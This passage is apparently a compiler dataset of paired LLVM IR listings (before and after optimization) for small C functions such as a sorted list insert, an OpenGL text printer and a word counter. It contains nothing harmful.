%9 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
%10 = load ptr, ptr %5, align 8
%11 = icmp ne ptr %10, null
%12 = zext i1 %11 to i32
%13 = call i32 @assert(i32 noundef %12)
%14 = load ptr, ptr %6, align 8
%15 = icmp ne ptr %14, null
%16 = zext i1 %15 to i32
%17 = call i32 @assert(i32 noundef %16)
%18 = load ptr, ptr %6, align 8
%19 = load i32, ptr %18, align 4
%20 = icmp sge i32 %19, 0
%21 = zext i1 %20 to i32
%22 = call i32 @assert(i32 noundef %21)
%23 = load ptr, ptr %7, align 8
%24 = icmp ne ptr %23, null
%25 = zext i1 %24 to i32
%26 = call i32 @assert(i32 noundef %25)
%27 = load ptr, ptr %7, align 8
%28 = load i32, ptr %27, align 4
%29 = icmp sge i32 %28, 0
%30 = zext i1 %29 to i32
%31 = call i32 @assert(i32 noundef %30)
%32 = load ptr, ptr %7, align 8
%33 = load i32, ptr %32, align 4
%34 = load ptr, ptr %6, align 8
%35 = load i32, ptr %34, align 4
%36 = icmp sle i32 %33, %35
%37 = zext i1 %36 to i32
%38 = call i32 @assert(i32 noundef %37)
%39 = load ptr, ptr %7, align 8
%40 = load i32, ptr %39, align 4
%41 = load ptr, ptr %6, align 8
%42 = load i32, ptr %41, align 4
%43 = icmp eq i32 %40, %42
br i1 %43, label %44, label %64
44: ; preds = %4
%45 = load ptr, ptr %6, align 8
%46 = load i32, ptr %45, align 4
%47 = add nsw i32 %46, 4
store i32 %47, ptr %45, align 4
%48 = load ptr, ptr %5, align 8
%49 = load ptr, ptr %48, align 8
%50 = load ptr, ptr %6, align 8
%51 = load i32, ptr %50, align 4
%52 = sext i32 %51 to i64
%53 = mul i64 %52, 4
%54 = trunc i64 %53 to i32
%55 = call i64 @realloc(ptr noundef %49, i32 noundef %54)
%56 = inttoptr i64 %55 to ptr
%57 = load ptr, ptr %5, align 8
store ptr %56, ptr %57, align 8
%58 = load ptr, ptr %5, align 8
%59 = load ptr, ptr %58, align 8
%60 = icmp eq ptr %59, null
br i1 %60, label %61, label %63
61: ; preds = %44
%62 = call i32 @error(i32 noundef 103)
br label %63
63: ; preds = %61, %44
br label %64
64: ; preds = %63, %4
store i32 0, ptr %9, align 4
br label %65
65: ; preds = %82, %64
%66 = load i32, ptr %9, align 4
%67 = load ptr, ptr %7, align 8
%68 = load i32, ptr %67, align 4
%69 = icmp slt i32 %66, %68
br i1 %69, label %70, label %79
70: ; preds = %65
%71 = load ptr, ptr %5, align 8
%72 = load i32, ptr %9, align 4
%73 = sext i32 %72 to i64
%74 = getelementptr inbounds ptr, ptr %71, i64 %73
%75 = load ptr, ptr %74, align 8
%76 = load i32, ptr %75, align 4
%77 = load i32, ptr %8, align 4
%78 = icmp slt i32 %76, %77
br label %79
79: ; preds = %70, %65
%80 = phi i1 [ false, %65 ], [ %78, %70 ]
br i1 %80, label %81, label %85
81: ; preds = %79
br label %82
82: ; preds = %81
%83 = load i32, ptr %9, align 4
%84 = add nsw i32 %83, 1
store i32 %84, ptr %9, align 4
br label %65, !llvm.loop !6
85: ; preds = %79
%86 = load i32, ptr %9, align 4
%87 = load ptr, ptr %7, align 8
%88 = load i32, ptr %87, align 4
%89 = icmp slt i32 %86, %88
br i1 %89, label %90, label %111
90: ; preds = %85
%91 = load ptr, ptr %5, align 8
%92 = load ptr, ptr %91, align 8
%93 = load i32, ptr %9, align 4
%94 = add nsw i32 %93, 1
%95 = sext i32 %94 to i64
%96 = getelementptr inbounds i32, ptr %92, i64 %95
%97 = load ptr, ptr %5, align 8
%98 = load ptr, ptr %97, align 8
%99 = load i32, ptr %9, align 4
%100 = sext i32 %99 to i64
%101 = getelementptr inbounds i32, ptr %98, i64 %100
%102 = load ptr, ptr %7, align 8
%103 = load i32, ptr %102, align 4
%104 = load i32, ptr %9, align 4
%105 = sub nsw i32 %103, %104
%106 = add nsw i32 %105, 1
%107 = sext i32 %106 to i64
%108 = mul i64 %107, 4
%109 = trunc i64 %108 to i32
%110 = call i32 @memmove(ptr noundef %96, ptr noundef %101, i32 noundef %109)
br label %111
111: ; preds = %90, %85
%112 = load i32, ptr %8, align 4
%113 = load ptr, ptr %5, align 8
%114 = load ptr, ptr %113, align 8
%115 = load i32, ptr %9, align 4
%116 = sext i32 %115 to i64
%117 = getelementptr inbounds i32, ptr %114, i64 %116
store i32 %112, ptr %117, align 4
%118 = load ptr, ptr %7, align 8
%119 = load i32, ptr %118, align 4
%120 = add nsw i32 %119, 1
store i32 %120, ptr %118, align 4
ret void
}
declare i32 @assert(i32 noundef) #1
declare i64 @realloc(ptr noundef, i32 noundef) #1
declare i32 @error(i32 noundef) #1
declare i32 @memmove(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpjq9a8ut2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @state_buildlist(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
%10 = load ptr, ptr %5, align 8
%11 = icmp ne ptr %10, null
%12 = zext i1 %11 to i32
%13 = call i32 @assert(i32 noundef %12)
%14 = load ptr, ptr %6, align 8
%15 = icmp ne ptr %14, null
%16 = zext i1 %15 to i32
%17 = call i32 @assert(i32 noundef %16)
%18 = load ptr, ptr %6, align 8
%19 = load i32, ptr %18, align 4
%20 = icmp sge i32 %19, 0
%21 = zext i1 %20 to i32
%22 = call i32 @assert(i32 noundef %21)
%23 = load ptr, ptr %7, align 8
%24 = icmp ne ptr %23, null
%25 = zext i1 %24 to i32
%26 = call i32 @assert(i32 noundef %25)
%27 = load ptr, ptr %7, align 8
%28 = load i32, ptr %27, align 4
%29 = icmp sge i32 %28, 0
%30 = zext i1 %29 to i32
%31 = call i32 @assert(i32 noundef %30)
%32 = load ptr, ptr %7, align 8
%33 = load i32, ptr %32, align 4
%34 = load ptr, ptr %6, align 8
%35 = load i32, ptr %34, align 4
%36 = icmp sle i32 %33, %35
%37 = zext i1 %36 to i32
%38 = call i32 @assert(i32 noundef %37)
%39 = load ptr, ptr %7, align 8
%40 = load i32, ptr %39, align 4
%41 = load ptr, ptr %6, align 8
%42 = load i32, ptr %41, align 4
%43 = icmp eq i32 %40, %42
br i1 %43, label %44, label %64
44: ; preds = %4
%45 = load ptr, ptr %6, align 8
%46 = load i32, ptr %45, align 4
%47 = add nsw i32 %46, 4
store i32 %47, ptr %45, align 4
%48 = load ptr, ptr %5, align 8
%49 = load ptr, ptr %48, align 8
%50 = load ptr, ptr %6, align 8
%51 = load i32, ptr %50, align 4
%52 = sext i32 %51 to i64
%53 = mul i64 %52, 4
%54 = trunc i64 %53 to i32
%55 = call i64 @realloc(ptr noundef %49, i32 noundef %54)
%56 = inttoptr i64 %55 to ptr
%57 = load ptr, ptr %5, align 8
store ptr %56, ptr %57, align 8
%58 = load ptr, ptr %5, align 8
%59 = load ptr, ptr %58, align 8
%60 = icmp eq ptr %59, null
br i1 %60, label %61, label %63
61: ; preds = %44
%62 = call i32 @error(i32 noundef 103)
br label %63
63: ; preds = %61, %44
br label %64
64: ; preds = %63, %4
store i32 0, ptr %9, align 4
br label %65
65: ; preds = %82, %64
%66 = load i32, ptr %9, align 4
%67 = load ptr, ptr %7, align 8
%68 = load i32, ptr %67, align 4
%69 = icmp slt i32 %66, %68
br i1 %69, label %70, label %79
70: ; preds = %65
%71 = load ptr, ptr %5, align 8
%72 = load i32, ptr %9, align 4
%73 = sext i32 %72 to i64
%74 = getelementptr inbounds ptr, ptr %71, i64 %73
%75 = load ptr, ptr %74, align 8
%76 = load i32, ptr %75, align 4
%77 = load i32, ptr %8, align 4
%78 = icmp slt i32 %76, %77
br label %79
79: ; preds = %70, %65
%80 = phi i1 [ false, %65 ], [ %78, %70 ]
br i1 %80, label %81, label %85
81: ; preds = %79
br label %82
82: ; preds = %81
%83 = load i32, ptr %9, align 4
%84 = add nsw i32 %83, 1
store i32 %84, ptr %9, align 4
br label %65, !llvm.loop !6
85: ; preds = %79
%86 = load i32, ptr %9, align 4
%87 = load ptr, ptr %7, align 8
%88 = load i32, ptr %87, align 4
%89 = icmp slt i32 %86, %88
br i1 %89, label %90, label %111
90: ; preds = %85
%91 = load ptr, ptr %5, align 8
%92 = load ptr, ptr %91, align 8
%93 = load i32, ptr %9, align 4
%94 = add nsw i32 %93, 1
%95 = sext i32 %94 to i64
%96 = getelementptr inbounds i32, ptr %92, i64 %95
%97 = load ptr, ptr %5, align 8
%98 = load ptr, ptr %97, align 8
%99 = load i32, ptr %9, align 4
%100 = sext i32 %99 to i64
%101 = getelementptr inbounds i32, ptr %98, i64 %100
%102 = load ptr, ptr %7, align 8
%103 = load i32, ptr %102, align 4
%104 = load i32, ptr %9, align 4
%105 = sub nsw i32 %103, %104
%106 = add nsw i32 %105, 1
%107 = sext i32 %106 to i64
%108 = mul i64 %107, 4
%109 = trunc i64 %108 to i32
%110 = call i32 @memmove(ptr noundef %96, ptr noundef %101, i32 noundef %109)
br label %111
111: ; preds = %90, %85
%112 = load i32, ptr %8, align 4
%113 = load ptr, ptr %5, align 8
%114 = load ptr, ptr %113, align 8
%115 = load i32, ptr %9, align 4
%116 = sext i32 %115 to i64
%117 = getelementptr inbounds i32, ptr %114, i64 %116
store i32 %112, ptr %117, align 4
%118 = load ptr, ptr %7, align 8
%119 = load i32, ptr %118, align 4
%120 = add nsw i32 %119, 1
store i32 %120, ptr %118, align 4
ret void
}
declare i32 @assert(i32 noundef) #1
declare i64 @realloc(ptr noundef, i32 noundef) #1
declare i32 @error(i32 noundef) #1
declare i32 @memmove(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpk1o9wlt6.c'
source_filename = "/tmp/tmpk1o9wlt6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@GLUT_BITMAP_9_BY_15 = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @output(i32 noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
%7 = load i32, ptr %4, align 4
%8 = load i32, ptr %5, align 4
%9 = call i32 @glRasterPos2f(i32 noundef %7, i32 noundef %8)
br label %10
10: ; preds = %14, %3
%11 = load ptr, ptr %6, align 8
%12 = load i8, ptr %11, align 1
%13 = icmp ne i8 %12, 0
br i1 %13, label %14, label %21
14: ; preds = %10
%15 = load i32, ptr @GLUT_BITMAP_9_BY_15, align 4
%16 = load ptr, ptr %6, align 8
%17 = load i8, ptr %16, align 1
%18 = call i32 @glutBitmapCharacter(i32 noundef %15, i8 noundef signext %17)
%19 = load ptr, ptr %6, align 8
%20 = getelementptr inbounds i8, ptr %19, i32 1
store ptr %20, ptr %6, align 8
br label %10, !llvm.loop !6
21: ; preds = %10
ret void
}
declare i32 @glRasterPos2f(i32 noundef, i32 noundef) #1
declare i32 @glutBitmapCharacter(i32 noundef, i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpk1o9wlt6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@GLUT_BITMAP_9_BY_15 = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @output(i32 noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
%7 = load i32, ptr %4, align 4
%8 = load i32, ptr %5, align 4
%9 = call i32 @glRasterPos2f(i32 noundef %7, i32 noundef %8)
%10 = load ptr, ptr %6, align 8
%11 = load i8, ptr %10, align 1
%12 = icmp ne i8 %11, 0
br i1 %12, label %.lr.ph, label %23
.lr.ph: ; preds = %3
br label %13
13: ; preds = %.lr.ph, %13
%14 = load i32, ptr @GLUT_BITMAP_9_BY_15, align 4
%15 = load ptr, ptr %6, align 8
%16 = load i8, ptr %15, align 1
%17 = call i32 @glutBitmapCharacter(i32 noundef %14, i8 noundef signext %16)
%18 = load ptr, ptr %6, align 8
%19 = getelementptr inbounds i8, ptr %18, i32 1
store ptr %19, ptr %6, align 8
%20 = load ptr, ptr %6, align 8
%21 = load i8, ptr %20, align 1
%22 = icmp ne i8 %21, 0
br i1 %22, label %13, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %13
br label %23
23: ; preds = %._crit_edge, %3
ret void
}
declare i32 @glRasterPos2f(i32 noundef, i32 noundef) #1
declare i32 @glutBitmapCharacter(i32 noundef, i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpixvas9sz.c'
source_filename = "/tmp/tmpixvas9sz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [45 x i8] c"G3_f(const char *s) is not yet implemented!\0A\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @G3_f(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = call i32 (ptr, ...) @debug(ptr noundef @.str)
%4 = load ptr, ptr %2, align 8
%5 = call i32 (ptr, ...) @debug(ptr noundef @.str.1, ptr noundef %4)
ret i32 1
}
declare i32 @debug(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpixvas9sz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [45 x i8] c"G3_f(const char *s) is not yet implemented!\0A\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @G3_f(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = call i32 (ptr, ...) @debug(ptr noundef @.str)
%4 = load ptr, ptr %2, align 8
%5 = call i32 (ptr, ...) @debug(ptr noundef @.str.1, ptr noundef %4)
ret i32 1
}
declare i32 @debug(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpbyquavlu.c'
source_filename = "/tmp/tmpbyquavlu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpbyquavlu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpx31e37o_.c'
source_filename = "/tmp/tmpx31e37o_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = call i32 (...) @analyze_this()
ret i32 0
}
declare i32 @analyze_this(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpx31e37o_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = call i32 (...) @analyze_this()
ret i32 0
}
declare i32 @analyze_this(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpffcrxg3f.c'
source_filename = "/tmp/tmpffcrxg3f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpffcrxg3f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpq5ftsmz1.c'
source_filename = "/tmp/tmpq5ftsmz1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @countWords(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %2, align 8
store i32 0, ptr %4, align 4
store i32 1, ptr %5, align 4
store i32 0, ptr %3, align 4
br label %6
6: ; preds = %31, %1
%7 = load ptr, ptr %2, align 8
%8 = load i32, ptr %3, align 4
%9 = sext i32 %8 to i64
%10 = getelementptr inbounds i8, ptr %7, i64 %9
%11 = load i8, ptr %10, align 1
%12 = sext i8 %11 to i32
%13 = icmp ne i32 %12, 0
br i1 %13, label %14, label %34
14: ; preds = %6
%15 = load ptr, ptr %2, align 8
%16 = load i32, ptr %3, align 4
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds i8, ptr %15, i64 %17
%19 = load i8, ptr %18, align 1
%20 = call i32 @alphabetic(i8 noundef signext %19)
%21 = icmp ne i32 %20, 0
br i1 %21, label %22, label %29
22: ; preds = %14
%23 = load i32, ptr %5, align 4
%24 = icmp ne i32 %23, 0
br i1 %24, label %25, label %28
25: ; preds = %22
%26 = load i32, ptr %4, align 4
%27 = add nsw i32 %26, 1
store i32 %27, ptr %4, align 4
store i32 0, ptr %5, align 4
br label %28
28: ; preds = %25, %22
br label %30
29: ; preds = %14
store i32 1, ptr %5, align 4
br label %30
30: ; preds = %29, %28
br label %31
31: ; preds = %30
%32 = load i32, ptr %3, align 4
%33 = add nsw i32 %32, 1
store i32 %33, ptr %3, align 4
br label %6, !llvm.loop !6
34: ; preds = %6
%35 = load i32, ptr %4, align 4
ret i32 %35
}
declare i32 @alphabetic(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpq5ftsmz1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @countWords(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %2, align 8
store i32 0, ptr %4, align 4
store i32 1, ptr %5, align 4
store i32 0, ptr %3, align 4
%6 = load ptr, ptr %2, align 8
%7 = load i32, ptr %3, align 4
%8 = sext i32 %7 to i64
%9 = getelementptr inbounds i8, ptr %6, i64 %8
%10 = load i8, ptr %9, align 1
%11 = sext i8 %10 to i32
%12 = icmp ne i32 %11, 0
br i1 %12, label %.lr.ph, label %40
.lr.ph: ; preds = %1
br label %13
13: ; preds = %.lr.ph, %30
%14 = load ptr, ptr %2, align 8
%15 = load i32, ptr %3, align 4
